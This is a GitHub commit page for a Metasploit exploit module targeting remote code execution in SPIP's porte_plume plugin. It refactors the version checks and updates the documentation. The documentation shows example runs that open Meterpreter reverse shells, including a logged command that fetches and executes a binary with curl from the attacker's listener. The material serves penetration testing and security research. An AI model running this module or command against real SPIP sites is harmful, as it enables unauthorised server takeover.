Skip to content

Commit

Permalink
Update doc + module + (mixin see #19444)
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Sep 8, 2024
1 parent 37042d8 commit 43fabb0
Show file tree
Hide file tree
Showing 3 changed files with 41 additions and 57 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -121,40 +121,51 @@ exploit
With `php/meterpreter/reverse_tcp`:

```
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.12
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
[+] SPIP version 4.2.12 is vulnerable.
[*] Porte plume plugin version detected: 3.1.5
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
[*] Preparing to send exploit payload to the target...
[*] Sending exploit payload to the target...
[*] Sending stage (39927 bytes) to 192.168.1.36
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:56534) at 2024-08-19 19:43:18 +0200
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.36:43974) at 2024-09-08 06:46:50 +0200
meterpreter > sysinfo
Computer : linux
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
Meterpreter : php/linux
```

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
[*] Command to run on remote host: curl -so ./gYBuGbOLFH http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./gYBuGbOLFH; ./gYBuGbOLFH &
[*] Fetch handler listening on 192.168.1.36:8080
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.12
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
[+] SPIP version 4.2.12 is vulnerable.
[*] Porte plume plugin version detected: 3.1.5
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
[*] Preparing to send exploit payload to the target...
[*] Sending exploit payload to the target...
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 192.168.1.36 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.36:59106) at 2024-08-19 19:44:40 +0200
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.36:60244) at 2024-09-08 06:47:47 +0200
meterpreter > sysinfo
Computer : 192.168.1.36
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Expand Down
45 changes: 7 additions & 38 deletions lib/msf/core/exploit/remote/http/spip.rb
Original file line number Diff line number Diff line change
Expand Up @@ -47,48 +47,17 @@ def spip_version
# @param [String] plugin_name Name of the plugin to search for
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
def spip_plugin_version(plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php')
)

res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'spip.php'))
return unless res

# Check the Composed-By header for plugin version or config.txt URL
composed_by = res.headers['Composed-By']
return unless composed_by

# Case 1: Look for config.txt URL in the header
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
config_url = ::Regexp.last_match(1)
vprint_status("Found config.txt URL: #{config_url}")

# Fetch and parse the config.txt file directly
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)

if config_res&.code == 200
return parse_plugin_version(config_res.body, plugin_name)
end
end

# Case 2: Check for plugin version directly in Composed-By
composed_by.split(',').each do |entry|
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/
return Rex::Version.new(::Regexp.last_match(1))
end
end

# Case 3: Fallback to fetching /local/config.txt directly
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
config_res = send_request_cgi(
'method' => 'GET',
'uri' => config_url
)
# Case 1: Check if 'Composed-By' header is present and not empty
version = composed_by&.present? ? parse_plugin_version(composed_by, plugin_name) : nil
return version if version

# Case 2: Extract URL from 'Composed-By' header and send a request to fetch the config.txt file
config_url = composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i ? ::Regexp.last_match(1) : normalize_uri(target_uri.path, 'local', 'config.txt')
config_res = send_request_cgi('method' => 'GET', 'uri' => config_url)
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200

nil
Expand Down
26 changes: 15 additions & 11 deletions modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,7 @@ def initialize(info = {})
end

def check
rversion = spip_version
rversion = spip_version || spip_plugin_version('spip')
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

print_status("SPIP Version detected: #{rversion}")
Expand All @@ -83,22 +83,26 @@ def check
{ start: Rex::Version.new('0.0.0'), end: Rex::Version.new('4.0.99') }
]

vulnerable_ranges.each do |range|
next unless rversion.between?(range[:start], range[:end])
is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }

print_status('SPIP version is in the vulnerable range.')
unless is_vulnerable
return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
end

plugin_version = spip_plugin_version('porte_plume')
print_good("SPIP version #{rversion} is vulnerable.")
plugin_version = spip_plugin_version('porte_plume')
print_status("Porte plume plugin version detected: #{plugin_version}")

unless plugin_version
print_warning('Could not determine the version of the porte_plume plugin.')
return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
end
unless plugin_version
print_warning('Could not determine the version of the porte_plume plugin.')
return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
end

return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) and porte_plume version (#{plugin_version}) are vulnerable.") if plugin_version < Rex::Version.new('3.1.6')
if plugin_version < Rex::Version.new('3.1.6')
return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and porte_plume version (#{plugin_version}) are vulnerable.")
end

return Exploit::CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
end

def php_exec_cmd(encoded_payload)
Expand Down

0 comments on commit 43fabb0

Please sign in to comment.